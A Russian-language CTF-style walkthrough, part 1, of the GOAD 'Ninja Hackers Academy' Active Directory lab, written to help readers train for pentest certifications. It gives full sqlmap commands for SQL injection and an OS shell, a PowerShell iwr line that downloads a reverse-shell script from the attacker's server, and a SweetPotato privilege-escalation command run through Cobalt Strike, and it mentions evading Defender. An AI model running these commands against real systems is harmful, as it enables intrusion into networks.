Прохождение Ninja Hackers Academy часть 1.
Предисловие.
Привествую всех читателей. Читая статьи и книги по проведению тестирования на проникновение внутреннего периметра, заметил такую тенденцию, что специаилисты в качестве стенда используют лабораторию GOAD которую можно найти здесь. Данные лаборатории будут полезны как начинающим, так и опытным специалистам, для оттачивания необходимых навыков или тестирования свежих CVE, так же такие лаборатории дают возможность подготовиться к сдаче на сертификаты такие как PNPT или OSCP.Статьи будут писаться по мере свободного времени.
Введение.
В данной серии статей будет рассмотренна AD лаборатория под наванием Ninja Hackers Academy. Это часть лаборатории Active Directory от OrangeCyberDefense на Github. Вы так же можете ознакомиться с решением лабораторных стендов GOAD автора mayfly277, котрые можно почитать здесь.
Ну что ж давайте преступим к решению нашей задачи. NHA лаборатория построенна по принципу черного ящика, без какого либо описания сети. И имейте ввиду, что все машины защищены и у всех включен Defender.
Из Readme мы получаем только входную точку для дальнейшей работы. Отлично, преступим к тестированию.
Разведка.
Для этих целей как и всегда к нам на помощь приходит самый известный иструмент nmap, с его помощью будем проводить сканирование подсети 192.168.58.1/24, для просмотра открытых портов. Названия файла можете давать любое, дело удобства.
По окончанию сканирования мы получаем список интересующих нас адресов:
Если мы заглянем в файл где у нас сохранился вывод nmap, то можно увидеть, что большенство открытых портов - это обычные порты AD.
Так же можно просмотреть интересующую нас подсеть таким инструментом как netexec его можно найти здесь, это даст нам основную информацию о домене.
И так, мы видим, что у нас есть 2 контроллера домена (DC) на которых включена подпись SMB:
- 192.168.58.10 — это контроллер домена ninja.hack
- 192.168.58.20 — это контроллер домена academy.ninja.lan
Работать мы будем с доменом academy.ninja.lan. Если вы используете в качестве отакующей машины OS на базе Linux, то внесите найденные ip адреса и доменные имена в файл лежащий по пути /etc/host/, это даст разрешение DNS на просмотр веб-сервера. Я же провожу тестирование с Windows.
Теперь перейдем на сам веб-сервер, где нас встречает главная страница сайта академии.
Продолжим разведку, но теперь будем осматривать сайт академии. Первое, что меня заинтересовало, так это разделы контакты и список студентов. Заглянув в контакты, ни чего интерсного не обнаружил, так что переходим дальше.
А вот здесь уже становиться интересней. Мы можем видеть список студентов и если посмотреть более внимательно то можно увидеть, что это не просто список студентов, а скорее всего БД (база данных), а так же есть определенные строки которые могут навести на мысль о проверке на SQL - инекции. Я конечно не большой специалист по SQL, поэтому мне на помощь пришел великий и ужасный Google.
После не продолжительного поиска и не правильных попыток, мне все же удалось собрать необходимый запрос к БД. Здесь мы пробуем SQL — инекцию на основе UNION, и для начала выясним количество столбцов.
Я пошел по пути наименьшего сопротивления и воспользовался инструментом SQLMap, в дополнение к нему предлагаю ознакомиться с руководством по эксплуатаци, как пример можно посмотреть здесь. Используя эту команду, мы проверяем в какой БД мы сейчас находимся, так же проверим наши привилегии и возможнось выполнения системных команд на машине при помощи xp_cmdshell.
python .\sqlmap.py -u 'http://192.168.58.21/Students?SearchString=&orderBy=Firstname' --current-db --batch --threads 10
Данная команда указывает на текущую базу данных academy.
Идем дальше и пробуем получить командную оболочку при помощи следующей команды.
python .\sqlmap.py -u 'http://192.168.58.21/Students?SearchString=&orderBy=Firstname' --os-shell --batch --threads 10 --timeout 1000
Согласно документации Microsoft по работе и синтаксису запросов можно ознакомиться здесь, там же вы увидите примечание.
Из прочитанного, могу добавить, еще то, что данную команду не активировать без прав локального администратора, которыми в данный момент мы не обладаем.
В этой оболочке мы можем запускать команды и получать их вывод. Для дальнейшей работы нам небходимо пробросить reverse shell на нашу машину. Как это можно сделать описывать не буду у каждого специалиста свой набор. Я же буду использовать скрипты на основе PowerShell. Теперь по порядку:
Для доставки нашего файла на эксплуатируемую машину нам нужно поднять свой сервер, я буду использовать самый простой на основе Python.
Затем мы используем следующие команды PowerShell для доставки и запуска подготовленного маяка по указанному пути.
powershell "iwr http://192.168.58.32:8080/shell.ps1 -o C:\tmp\shell.ps1"
Для получения данной оболочки пришлось повозиться с обходом защиты. Самый простой способ получения обратной оболочки это доставить на машину жертвы netcat, но у каждого специалиста свой подход к решению задачи.
И так мы получили reverse shell на свою машину, для облегчения работы, я буду использовать систему управления и контроля известную как C2. Данных систем управления много, почитать можно здесь. Свой выбор я остановил на проверенном временем CobaltStrike. Для опытных специалистов данный C2 должен быть знаком, для тех кто в самом начале пути в мир ИБ и тестирования на проникновение, скажу сразу. Вам придется приложить усилие, что бы ваши маяки не светились как новогодняя елка в сети, т. к. сигнатура и поведенческий тип CobaltStrike давно распознается AV. Ну а для тех кто умеет и любит программировать не составит особого труда написать собственный загрузчик, так же вы можете ознакомиться со множетсвом отличных ресурсов и исследований по обходу Defender в сети интеренет.
После получения обраного ответа на наш C2 вводим следующую команду.
Она отобразит нам информацию о текущем сеансе.
Как мы можем наблюдать у нас нет прав System, а есть пользователь. Это происходит, когда мы получаем оболочку из других источников. Таким образом, оболочка IIS, скорее всего, будет чем-то вроде iisapppol . Они обычно имеют SeImpersonatePrivilege включен по умолчанию, поскольку им приходится выдавать себя за пользователя в контексте того, кто его запускает. Это то, чем мы можем злоупотребить, чтобы выдать себя за пользователя System. В поисках инструмента, для повышения привелегий наткнулся на вот такой ресурс, ознакомиться с которым можно здесь.
Для повышения привилегий на удаленной машине с приминением C2 сервера необходимо ввести вот такую команду.
execute-assembly C:\path\SharpCollection -master\NetFramework_4.7_Any\SweetPotato.exe -p C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -a «C:\tmp\shell.ps1»
Путь до места где лежит file.exe и путь до места где лежит ваш маяк, в моем случае это C:\tmp\shell.ps1.